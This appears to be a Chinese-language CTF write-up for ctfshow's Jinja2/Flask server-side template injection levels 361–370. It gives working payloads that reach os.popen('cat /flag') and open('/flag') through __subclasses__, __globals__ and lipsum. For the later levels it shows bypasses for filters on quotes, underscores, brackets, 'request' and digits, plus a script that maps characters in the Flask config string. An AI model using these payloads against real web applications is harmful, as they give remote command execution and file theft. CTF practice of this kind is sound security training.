361
参数是name,无过滤
可以子类调用的函数
?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
重载函数
?name={{''.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat /flag').read()}}
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
内嵌函数
?name={{''.__class__.__base__.__subclasses__()[446].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
362
过滤2和3
363(过滤单双引号,GET传参)
过滤单双引号,GET传参
?name={{().__class__.__base__.__subclasses__()[94][request.args.m1](0,request.args.m2)}}&m1=get_data&m2=/flag
364(新过滤args,Cookie传参)
过滤单双引号,args
?name={{().__class__.__base__.__subclasses__()[94][request.cookies.m1](0,request.cookies.m2)}}
Cookie:m1=get_data;m2=/flag
365(新过滤[
?name={{().__class__.__base__.__subclasses__().pop(290).__init__.__globals__.pop(request.cookies.m1).popen(request.cookies.m2).read()}}
Cookie:m1=os;m2=cat /flag
366(新过滤_)
?name={{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag
367(新过滤os)
?name={{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}
Cookie:m1=__globals__;m2=cat /flag;m3=os
368(新过滤{{)
替换{%,但是{%不会输出结果,要加输出指令
{{ ... }}
用于 表达式输出,会自动计算并渲染其中的表达式结果。
例如:{{ 7*7 }} 会直接输出 49。
{% ... %}
用于 控制语句(如if、for、set等),不会自动输出结果。
例如:{% 7*7 %} 不会输出任何内容,因为它只是计算而没有输出指令。
?name={%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%}
Cookie:m1=__globals__;m2=cat /flag;m3=os
?name={%set x=(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()%}{% print(x) %}
?name={% with x=(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read() %}{% print(x) %}{% endwith %}
369(新过滤request,字符动态构造)
只能凑字符
(config|string|list).pop(N).lower()
先输出 config
对象的完整字符串表示
?name={%print(config)%}

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
?name={%print( config|string|list )%}

下面是获取字母首次位置的脚本
from flask import Flask
import datetime
app = Flask(__name__)
# 配置标准 Flask Config 对象
app.config.update({
'ENV': 'production',
'DEBUG': False,
'TESTING': False,
'PROPAGATE_EXCEPTIONS': None,
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31),
'SESSION_COOKIE_NAME': 'session'
})
# 获取 Config 字符串
config_str = str("<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>")
# 记录每个字符的首次出现位置
first_occurrence = {}
for idx, char in enumerate(config_str):
if char not in first_occurrence:
first_occurrence[char] = idx
# 打印完整字符表(按ASCII排序)
print("=" * 60)
print("Flask Config 字符首次出现位置全集")
print("=" * 60)
print("字符\tASCII\t首次位置\t示例用法")
print("-" * 60)
for char in sorted(first_occurrence.keys(), key=lambda x: ord(x)):
ascii_val = ord(char)
pos = first_occurrence[char]
# 显示字符的可读形式
display_char = repr(char)[1:-1]
if char.isprintable() and char not in ['\n', '\t', '\r']:
display_char = f"'{char}'"
# 标注SSTI常用字符
usage = ""
if char in ['_', 'o', 's', 'a', 't', 'c', 'g', 'l', 'b', '/']:
usage = "← SSTI关键字符"
print(f"{display_char:4}\t{ascii_val:3}\t{pos:5}\t{usage}")
# 打印关键字符总结
print("\n" + "=" * 60)
print("SSTI 攻击关键字符位置速查")
print("=" * 60)
key_chars = {
'_': "双下划线函数名",
'/': "路径分隔符",
'o': "构造 'os'",
's': "构造 'os'",
'c': "构造 'cat'",
'a': "构造 'cat'",
't': "构造 'cat'",
'g': "构造 '__globals__'",
'l': "构造 '__globals__'",
'b': "构造 '__builtins__'"
}
for char, desc in key_chars.items():
if char in first_occurrence:
print(f"'{char}'(ASCII {ord(char)}): 位置 {first_occurrence[char]} \t{desc}")

相当于构造出
{% print(
lipsum|attr(__globals__)
.get(os)
.popen(cat /flag)
.read()
) %}
例如,lower()是转换为小写,~是字符串连接符
_ (config|string|list).pop(74).lower()~
g (config|string|list).pop(35).lower()~
G (config|string|list).pop(6).lower()~
?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
370(新过滤数字,使用全角数字)
{%set a=(lipsum|string|list).pop(18)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%} "__globals__"
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%} "__builtins__"
{%set chr=((lipsum|attr(gl)).get(bu).chr)%} 获取chr函数
{%set flag=(chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103))%} 拼接路径 "/flag"
{%print((lipsum|attr(gl)).get(bu).open(flag).read())%} 读取文件内容
Shift + Space切换使用全角数字
后面就不写了
Comments NOTHING